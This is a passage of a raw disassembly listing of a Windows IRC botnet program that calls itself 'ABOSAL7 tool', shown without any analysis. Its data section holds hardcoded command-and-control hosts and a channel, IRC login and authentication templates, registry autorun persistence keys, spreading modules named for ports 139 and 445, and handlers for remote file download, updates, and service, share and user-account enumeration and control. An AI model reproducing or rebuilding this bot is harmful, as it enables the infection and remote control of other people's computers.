		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_429C74	db    2			; DATA XREF: sub_40B105+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_429CB4	db    2			; DATA XREF: sub_40B105+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_429CFC	db    2			; DATA XREF: sub_40B105+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_40B6AD:loc_40B6F0o
					; sub_40C3BC+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40B6AD:loc_40B6EAo
aDisk		db 'Disk',0             ; DATA XREF: sub_40B6AD:loc_40B6E4o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40B6AD:loc_40B6DEo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40B6AD:loc_40B6D8o
		align 4
off_429D5C	dd offset word_4D4152	; DATA XREF: sub_40B6AD:loc_40B6D2o
aFailed		db 'failed',0           ; DATA XREF: sub_40B73E:loc_40B81Co
					; sub_40B862+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40B73E+6Co
		align 10h
unk_429D70	db    2			; DATA XREF: sub_40B862+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_429DBC	db    2			; DATA XREF: sub_40B862+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40B934:loc_40B979o
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_429E9C	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40BAE7+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40BAE7+16o
					; sub_40D2E0+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40BAE7+Fo
					; sub_40D2E0+62Fo
		align 4
off_429EB8	dd offset aAdd		; DATA XREF: sub_40BB87+60r
					; sub_40BF5E+51r ...
					; "Add"
off_429EBC	dd offset aAdded	; DATA XREF: sub_40BB87+2Dr
					; sub_40BF5E+83r ...
					; "Added"
dword_429EC0	dd 0			; DATA XREF: sub_40BB87+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 429F2Ch, 429F24h,	2, 429F18h, 429F0Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: _2:00429EECo
aStop_0		db 'Stop',0             ; DATA XREF: _2:00429EE8o
		align 4
aStarted	db 'Started',0          ; DATA XREF: _2:00429EE0o
aStart_0	db 'Start',0            ; DATA XREF: _2:00429EDCo
		align 4
aListed		db 'Listed',0           ; DATA XREF: _2:00429ED4o
		align 4
aList_0		db 'List',0             ; DATA XREF: _2:00429ED0o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: _2:00429EC8o
aDelete_0	db 'Delete',0           ; DATA XREF: _2:00429EC4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: _2:off_429EBCo
		align 4
aAdd		db 'Add',0              ; DATA XREF: _2:off_429EB8o
dword_429F80	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BB87+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_429FB4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BB87+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_429FEC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BB87+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40BCA3+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40BCA3:loc_40BDBBo
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40BCA3:loc_40BDB4o
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40BCA3:loc_40BDADo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40BCA3:loc_40BDA6o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40BCA3:loc_40BD9Fo
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40BCA3:loc_40BD98o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40BCA3:loc_40BD91o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40BCA3:loc_40BD8Ao
		align 10h
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40BCA3:loc_40BD83o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40BCA3:loc_40BD7Co
		align 10h
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40BCA3:loc_40BD51o
		align 10h
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40BCA3:loc_40BD4Ao
		db ' the service.',0
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40BCA3:loc_40BD43o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40BCA3:loc_40BD3Co
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40BCA3+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40BCA3:loc_40BD11o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40BCA3:loc_40BD07o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40BCA3:loc_40BCFDo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40BCA3:loc_40BCF3o
		align 10h
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40BCA3:loc_40BCE9o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40BCA3+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40BE21+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40BE21:loc_40BEEDo
aStarting	db '   Starting',0      ; DATA XREF: sub_40BE21:loc_40BEE6o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40BE21:loc_40BEDFo
aRunning	db '    Running',0      ; DATA XREF: sub_40BE21:loc_40BED8o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40BE21:loc_40BED1o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40BE21:loc_40BECAo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40BE21:loc_40BEC3o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_40BE21+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40BE21+25o
		align 10h
dword_42A550	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BF5E+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42A584	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BF5E+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 10h
dword_42A5B0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BF5E+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40C154+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40C154+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_40C154+B5o
dword_42A60C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C154+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40C154+26o
		align 4
dword_42A67C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C275+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42A6B4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C275+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42A6F0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C275+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 10h
dword_42A720	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C3BC+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40C3BC+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40C3BC+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40C3BC+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40C3BC+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40C3BC+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40C3BC+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40C3BC+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40C3BC+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40C3BC+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40C3BC+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40C3BC+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40C3BC+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40C3BC+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40C3BC+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40C3BC+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40C3BC:loc_40C4DBo
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_40C3BC:loc_40C4D4o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40C3BC:loc_40C4CDo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40C3BC+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40C3BC+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40C3BC+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40C3BC+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40C7A5+14Fo
		align 4
dword_42A8EC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C7A5+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_40C7A5+BEo
		align 10h
dword_42A930	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C7A5+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40C7A5+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40C925:loc_40CA42o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40C925:loc_40CA3Bo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40C925:loc_40CA34o
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40C925:loc_40CA2Do
		align 10h
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40C925:loc_40CA26o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40C925:loc_40CA09o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40C925:loc_40CA02o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40C925:loc_40C9FBo
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40C925+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40C925:loc_40C9D0o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40C925:loc_40C9C9o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40C925:loc_40C9C2o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40C925:loc_40C9B8o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40C925+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40C925:loc_40C992o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40C925:loc_40C988o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40C925:loc_40C97Eo
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40C925:loc_40C974o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40C925:loc_40C96Ao
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40C925+3Bo
		align 4
dword_42AC48	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CA59+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42AC80	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CA59+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
dword_42ACB8	dd 1B58h		; DATA XREF: sub_40CB17+3A3r
					; sub_40CB17+456r
dword_42ACBC	dd 0C8Bh		; DATA XREF: sub_40CB17+4A2r
dword_42ACC0	dd 30EAh		; DATA XREF: sub_40D2E0:loc_413078r
dword_42ACC4	dd 18F4h		; DATA XREF: sub_405898+3Br
					; sub_40D2E0+52E6r
dword_42ACC8	dd 1BB0h		; DATA XREF: sub_405898:loc_405B47r
					; sub_40D2E0:loc_4126BBr
dword_42ACCC	dd 0A84h		; DATA XREF: sub_40D2E0:loc_412831r
dword_42ACD0	dd 1			; DATA XREF: sub_40D2E0+665r
dword_42ACD4	dd 1			; DATA XREF: sub_40CB17+13Dr
dword_42ACD8	dd 1			; DATA XREF: sub_409288+Cr
					; sub_40CB17:loc_40CE46r
byte_42ACDC	db 2Eh			; DATA XREF: sub_40B5F7:loc_40B603r
					; sub_40D2E0+B05r ...
		align 10h
dword_42ACE0	dd 6			; DATA XREF: sub_413E04+2Br
					; sub_413E04+51r ...
dword_42ACE4	dd 4			; DATA XREF: sub_40D000+78r
					; sub_40D2E0+279r ...
a8652		db '8652',0
		align 10h
aCool_0		db 'cool',0
		align 4
aMan		db 'man',0
		align 10h
aAsn139_0	db 'asn139',0
		align 4
		db 2 dup(0)
byte_42AD0A	db 1			; DATA XREF: sub_40D2E0:loc_4121B2r
					; sub_40D2E0+4EDCo
aAsn445_0	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: sub_40CB17+5Ao
					; sub_40D2E0+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40D2E0:loc_413290o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40D2E0+6129o
					; sub_40D2E0+61F8o
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_40CB17+38Eo
					; sub_40CB17+447o
		align 4
aFaak		db '#faak#',0           ; DATA XREF: sub_40CB17+3AFo
					; sub_40CB17+45Do
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: sub_40CB17+3C6o
					; sub_40CB17+46Fo
		align 4
byte_42AD68	db 73h			; DATA XREF: sub_40CB17:loc_40CF9Cr
					; sub_40CB17+493o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#faak#',0           ; DATA XREF: sub_40CB17+4A9o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: sub_40CB17+4BBo
		align 4
byte_42AD8C	db 67h			; DATA XREF: sub_40345C+3Eo
					; sub_405898+68o ...
		db 63h,	6Ah, 66h
		dd 6F726A62h, 78652E61h, 65h
dword_42AD9C	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40A7C2+Eo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_413E04+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40D2E0+6274o
aF_0		db '#f',0               ; DATA XREF: sub_40D2E0:loc_41055Do
					; sub_40D2E0+509Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_40D2E0+1F2Fo
		align 4
aF_2		db '#f',0               ; DATA XREF: sub_40D2E0+1D75o
		align 4
off_42ADDC	dd offset dword_42AE9C	; DATA XREF: sub_40D2E0:loc_41345Co
off_42ADE0	dd offset dword_42AE90	; DATA XREF: sub_40D2E0+8CFr
					; sub_40D2E0+6198o
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4143F6+28o
					; sub_41471A+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4143F6+D4o
					; sub_41471A+D4o
		align 4
dword_42AE8C	dd 10h			; DATA XREF: sub_40A4BB+72w
					; sub_40D2E0+B6Er ...
dword_42AE90	dd 6B633468h, 74207265h, 6C6F6Fh ; DATA	XREF: _2:off_42ADE0o
dword_42AE9C	dd 6461402Ah, 2E6E696Dh, 6D6F63h ; DATA	XREF: _2:off_42ADDCo
dword_42AEA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CB17+352o
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_42AED0	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40CB17+280o
dword_42AEDC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D000+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40D168+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40D168+35o
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+627Co
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+6264o
		align 10h
dword_42AF50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_42AF80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_42AFAC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+61D9o
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_42AFE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40D2E0+6160o
					; sub_40D2E0+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40D2E0+6149o
					; sub_40D2E0+61B0o
		align 10h
asc_42B070:				; DATA XREF: sub_40D2E0+6119o
		unicode	0, <~>,0
dword_42B074	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42B0A8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_42B0E4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_42B120	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_42B140	db    2			; DATA XREF: sub_40D2E0+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42B18C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40D2E0+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40D2E0+5F0Fo
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40D2E0+5F08o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40D2E0+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40D2E0+5E9Co
		align 4
unk_42B1D8	db    2			; DATA XREF: sub_40D2E0+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_42B220	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40D2E0+5D6Fo
dword_42B230	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40D2E0+5D6Ao
dword_42B23C	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40D2E0+5D57o
dword_42B248	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40D2E0+5D52o
dword_42B258	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0:loc_412FF2o
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0:loc_412FD0o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+5CC8o
		align 4
dword_42B2E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42B324	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_42B34C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42B394	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_42B3C0	dd 627573h		; DATA XREF: sub_40D2E0+5BACo
dword_42B3C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
